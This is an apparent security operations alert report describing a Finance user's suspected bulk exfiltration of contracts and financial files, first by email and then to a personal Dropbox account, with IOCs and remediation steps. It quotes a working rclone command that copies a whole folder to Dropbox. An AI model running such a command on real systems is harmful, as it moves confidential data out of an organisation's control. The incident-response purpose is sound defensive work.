Title: Suspected Data Exfiltration to Dropbox – DataHaven Solutions
Date: 2025-10-29
Alert Type/Category: Data Exfiltration / Potential Insider Activity
Severity: Medium
Analyst Name:
Case #: ALRT-2025-10-20-DATAEXFIL-001

DETECTION AND ANALYSIS

Alert Summary:

The Multi-source Correlation Engine detected suspected data exfiltration to Dropbox from managed host WIN10-DH-113 used by user lars.haugen@datahaven.no. This activity is consistent with a data exfiltration/theft scenario where a user attempts to move large volumes of sensitive contractual and financial data out of the organisation using both email and an unsanctioned cloud storage provider. After multiple outbound email attempts with large attachments (Client_Contracts_Archive.zip, Q3_Financials.xlsx and later a password-protected archive Client_Contracts_Archive_pwd.zip) to a personal Gmail address were blocked by DLP policies and transport rules due to the "Confidential-Finance" policy and encrypted-attachment rules, the same user accessed Dropbox from the same public IP (84.213.57.42) on WIN10-DH-113, and successfully authenticated to Dropbox Web via OAuth with SSO disabled using Chrome. Shortly thereafter, endpoint telemetry recorded execution of the rclone utility with the following command line:

```
rclone copy C:\Users\Lars\Documents\Finance\ dropbox:/Finance_Backup --transfers 4
```

This command copies the entire local Finance directory to a Dropbox remote path using four parallel transfer threads, which is a common pattern for scripted bulk data movement. Correlated CASB and anomaly events then show a series of inferred uploads from WIN10-DH-113 to Dropbox (including one transfer of approximately 1.1 GB associated with the rclone process and several additional uploads of 57–207 MB each), with Netflow confirming egress traffic to the Dropbox IP range (AS19679) and UEBA flagging a spike in outbound volume relative to the user's baseline. Taken together, the timeline strongly suggests deliberate bulk transfer of sensitive Finance data (~1.6 GB) from a corporate endpoint to a personal Dropbox account after native email/DLP controls successfully blocked earlier attempts via Exchange. We recommend that you investigate this activity further, as the activity appears to represent unauthorized exfiltration of confidential financial and contractual data to an unsanctioned cloud storage service.

References:

None.

Key Details:

User: lars.haugen@datahaven.no
Department: Finance
Host: WIN10-DH-113
Source IP: 84.213.57.42
Location: NO, Oslo
Suspicious Activity Window: 2025-10-29 06:20:00+00:00 – 2025-10-29 08:37:08+00:00
Destination Domain: dropbox.com
TLS SNI: content.dropboxapi.com
Personal Recipient Address: lars.personal@gmail.com
Email Subject: Q3 docs
Files Attempted via Email:
- Client_Contracts_Archive.zip (≈595 MB; 623,902,720 bytes; SHA-256: 83ea2aba1fa09cfe555433ce394f960e65b62de5dac94b7ab2ec9ac141ff77a2)
- Q3_Financials.xlsx (≈140 MB; 146,800,640 bytes; SHA-256: 43881fcf50a146c8dd79285cd7c3fb995c25382f7d0ba0f1d05c2eb802d36f19)
- Client_Contracts_Archive_pwd.zip (password-protected; ≈595 MB; 623,902,720 bytes; SHA-256: 603fe8f0eb06970f7fb736e1da00341737478c4a46bc8eb215222d575ad41aa2)
DLP Policy Triggered: Confidential-Finance (sensitive PII and large financial/contract data)
DLP Outcome: Outbound email with large financial and contract archives to external Gmail blocked by policy and transport rules
Cloud App: Dropbox (classified as unsanctioned)
App Authentication: Successful Dropbox web login via OAuth; SSO disabled; User-Agent=Chrome/119
Exfiltration Tool: rclone.exe
Command Executed: rclone copy C:\Users\Lars\Documents\Finance\ dropbox:/Finance_Backup –transfers 4
Estimated Data Uploaded to Dropbox: ≈1.6 GB across multiple CASB-inferred upload events
Event Types Observed:
- Mail.Compose, Mail.AttachmentUpload, Mail.SendAttempt, Mail.BlockedOutbound
- DLP.Inspect, DLP.Alert
- TransportRule.Flag
- Process.Create
- CloudAppDiscovery.Access, CloudAppGovernance.Tag, App.Authenticate
- CASB.InferredUpload, Anomaly.UploadVolumeSpike
- Netflow.Summary, UEBA.Note
Indicators of Compromise (IOCs):
- Files: Client_Contracts_Archive.zip, Client_Contracts_Archive_pwd.zip, Q3_Financials.xlsx
- File Hashes (SHA-256): 83ea2aba1fa09cfe555433ce394f960e65b62de5dac94b7ab2ec9ac141ff77a2; 43881fcf50a146c8dd79285cd7c3fb995c25382f7d0ba0f1d05c2eb802d36f19; 603fe8f0eb06970f7fb736e1da00341737478c4a46bc8eb215222d575ad41aa2

Consequence:

Based on the correlated DLP, CASB, Netflow and UEBA telemetry, it is highly likely that sensitive Finance data (including client contracts and quarterly financial spreadsheets) has been transferred from a corporate endpoint to a personal Dropbox account, resulting in a probable breach of confidentiality and loss of control over these documents. This creates a risk of exposure of personally identifiable

information and contractual data, potential non-compliance with regulatory and contractual obligations, and possible financial and reputational damage if the data is misused or disclosed. Because the transfer was performed from a valid user account on a managed device using a generic sync tool (rclone) to an unsanctioned cloud service, there is also ongoing risk of further exfiltration or reuse of the tooling until the user account, endpoint and external storage account have been fully remediated.

CONTAINMENT

Executed Remediation Actions:

The following containment and eradication actions has been performed by our SOC:
- Isolated host WIN10-DH-113 from the network using EDR network isolation to stop any ongoing or future transfers to Dropbox from this endpoint.
- Terminated the rclone.exe process on WIN10-DH-113 (where active) and added the binary path/hash to the EDR blocklist for this device group to prevent further use of this tool.
- Initiated a full EDR malware and artifact scan of WIN10-DH-113, with emphasis on the user profile path C:\Users\Lars\Documents\Finance\, to identify any additional exfiltration tooling or related suspicious artifacts.

Recommended Remediation Actions:

Our SOC recommends that you do the following containment actions:
- Disable or temporarily suspend the account lars.haugen@datahaven.no, revoke all active sessions, and enforce a password reset with strong authentication (e.g., MFA) before re-enabling access.
- Block access to Dropbox (dropbox.com, content.dropboxapi.com) and similar unsanctioned cloud storage services at your perimeter firewalls and web proxies, at least for the Finance department, until the incident is fully understood.
- Review Exchange/DLP and CASB logs to determine exactly which documents (client contracts, financial reports and any other sensitive files) were included in the exfiltration and assess whether regulatory or contractual breach notification obligations are triggered.
- Contact Dropbox support/administration to identify and, where possible, delete or restrict access to any corporate data associated with the observed login and rclone-based uploads, and request preservation of access logs for potential legal or regulatory follow-up.
- Perform a focused review with the line manager and HR/insider-risk function for the user to determine intent (malicious vs. negligent) and decide on any additional monitoring or disciplinary actions, and ensure that the user is made aware that personal cloud storage of corporate data is prohibited.